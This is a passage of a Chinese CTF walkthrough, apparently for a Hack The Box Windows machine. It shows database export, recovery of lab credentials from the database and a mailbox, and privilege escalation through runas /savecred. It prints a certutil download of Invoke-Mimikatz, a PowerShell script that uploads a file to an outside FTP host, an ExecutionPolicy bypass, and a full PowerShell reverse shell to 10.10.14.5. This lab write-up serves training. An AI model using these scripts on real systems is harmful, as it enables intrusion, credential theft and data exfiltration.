2.在kali环境中,可以利用mdb-tools工具套件来读取.mdb文件,例如:列出所有的表mdb-export backup.mdb,这里利用python将数据库中所有信息导出
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import os
cmd = 'mdb-export backup.mdb '
table = 'acc_antiback acc_door acc_firstopen acc_firstopen_emp acc_holidays acc_interlock acc_levelset acc_levelset_door_group acc_linkageio acc_map acc_mapdoorpos acc_morecardempgroup acc_morecardgroup acc_timeseg acc_wiegandfmt ACGroup acholiday ACTimeZones action_log AlarmLog areaadmin att_attreport att_waitforprocessdata attcalclog attexception AuditedExc auth_group_permissions auth_message auth_permission auth_user auth_user_groups auth_user_user_permissions base_additiondata base_appoption base_basecode base_datatranslation base_operatortemplate base_personaloption base_strresource base_strtranslation base_systemoption CHECKEXACT CHECKINOUT dbbackuplog DEPARTMENTS deptadmin DeptUsedSchs devcmds devcmds_bak django_content_type django_session EmOpLog empitemdefine EXCNOTES FaceTemp iclock_dstime iclock_oplog iclock_testdata iclock_testdata_admin_area iclock_testdata_admin_dept LeaveClass LeaveClass1 Machines NUM_RUN NUM_RUN_DEIL operatecmds personnel_area personnel_cardtype personnel_empchange personnel_leavelog ReportItem SchClass SECURITYDETAILS ServerLog SHIFT TBKEY TBSMSALLOT TBSMSINFO TEMPLATE USER_OF_RUN USER_SPEDAY UserACMachines UserACPrivilege USERINFO userinfo_attarea UsersMachines UserUpdates worktable_groupmsg worktable_instantmsg worktable_msgtype worktable_usrmsg ZKAttendanceMonthStatistics acc_levelset_emp acc_morecardset ACUnlockComb AttParam auth_group AUTHDEVICE base_option dbapp_viewmodel FingerVein devlog HOLIDAYS personnel_issuecard SystemLog USER_TEMP_SCH UserUsedSClasses acc_monitor_log OfflinePermitGroups OfflinePermitUsers OfflinePermitDoors LossCard TmpPermitGroups TmpPermitUsers TmpPermitDoors ParamSet acc_reader acc_auxiliary STD_WiegandFmt CustomReport ReportField BioTemplate FaceTempEx FingerVeinEx TEMPLATEEx'
item_list = table.split(' ')
for item in item_list:
print item
c_cmd = cmd + item
process = os.popen(c_cmd)
output = process.read()
process.close()
table_file = open('backupdb/' + item,'w')
table_file.write(output)
table_file.close()
3.在auth_user表中可以发现一组有用的用户名密码:engineer access4u@security
4.利用这个密码可以去解密刚下载的压缩包,压缩包里是一个.pst邮件格式文件,如果安装了outlook可以很容易的打开,如果没有可以在kali中安装evolution和evolution-plugins,readpst "Access Control.pst" 转换pst为mbox文件,mail -f "Access Control" 查看mbox文件。在邮件中保存有另一组登录帐号:security 4Cc3ssC0ntr0ller,这组账号可供telnet登录使用。
5.telnet登录后在security的桌面拿下user.txt
6.继续渗透会发现服务器禁止了.exe程序的执行,只能执行部分系统指令,powershell是唯一可能的突破口,但同样对运行权限做了限制,常用的Set-ExecutionPolicy Unrestricted限制绕过等指令都需要管理员权限。在当前环境中可以用以下命令进行上传,下载。下载功能是系统自带,上传需要用到ps1脚本,在kali中我搭建了ftp用于接收文件,虽然对本题并不能拿到线索,但也留个备份,以后可能用到。
windows自带下载命令:certutil -urlcache -split -f http://10.10.14.5/Invoke-Mimikatz.ps1
普通用户执行脚本:powershell -ExecutionPolicy ByPass -File new.ps1
#以下为Ftp上传脚本PS1#
$ftp="ftp://10.10.14.5"
$user="root"
$pass="123456"
$webclient = New-Object System.Net.WebClient
$webclient.Credentials = New-Object System.Net.NetworkCredential($user,$pass)
$name="Access.mdb"
$uri = New-Object System.Uri($ftp+"/"+$name+"")
$webclient.UploadFile($uri,"C:/ZKTeco/ZKAccess3.5/Access.mdb")
7.提权的关键在于Runas命令,其中runas带有 /savecred参数,能够以保存的用户凭据执行命令,所有在本地启动nc监听,一句话反弹runas /user:administrator /savecred "powershell -ExecutionPolicy ByPass -File C:\Users\Public\new.ps1",其中new.ps1是一段反弹powershell#以下是new.ps1反弹脚本#
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.5",6666);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
8.最后在Administrator的桌面目录中拿下root.txt